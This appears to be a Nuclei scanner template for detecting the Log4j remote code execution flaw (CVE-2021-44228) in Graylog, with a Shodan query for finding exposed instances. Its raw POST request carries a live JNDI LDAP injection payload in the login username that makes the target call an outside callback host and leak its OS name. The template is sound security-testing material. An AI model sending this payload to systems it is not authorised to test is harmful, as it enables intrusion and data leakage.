id: graylog-log4j

info:
  name: GrayLog - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: Graylog uses the Log4j 2 Java library to record its own log information. Versions of this library earlier than 2.15.0 are vulnerable to a remote code execution attack, specifically when specially crafted values sent as user input will be logged by Graylog.
  reference:
    - https://www.graylog.org/post/graylog-update-for-log4j
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  metadata:
    verified: true
    shodan-query: title:"Graylog Web Interface"
  tags: cve,cve2021,rce,jndi,log4j,graylog

requests:
  - raw:
      - |
        POST /api/system/sessions HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
        Accept: application/json
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        X-Requested-With: XMLHttpRequest
        X-Requested-By: XMLHttpRequest
        Content-Type: application/json
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}

        {"username":"${jndi:ldap://${sys:os.name}.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+'  # Match for extracted ${sys:os.name} variable

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Print extracted ${sys:os.name} in output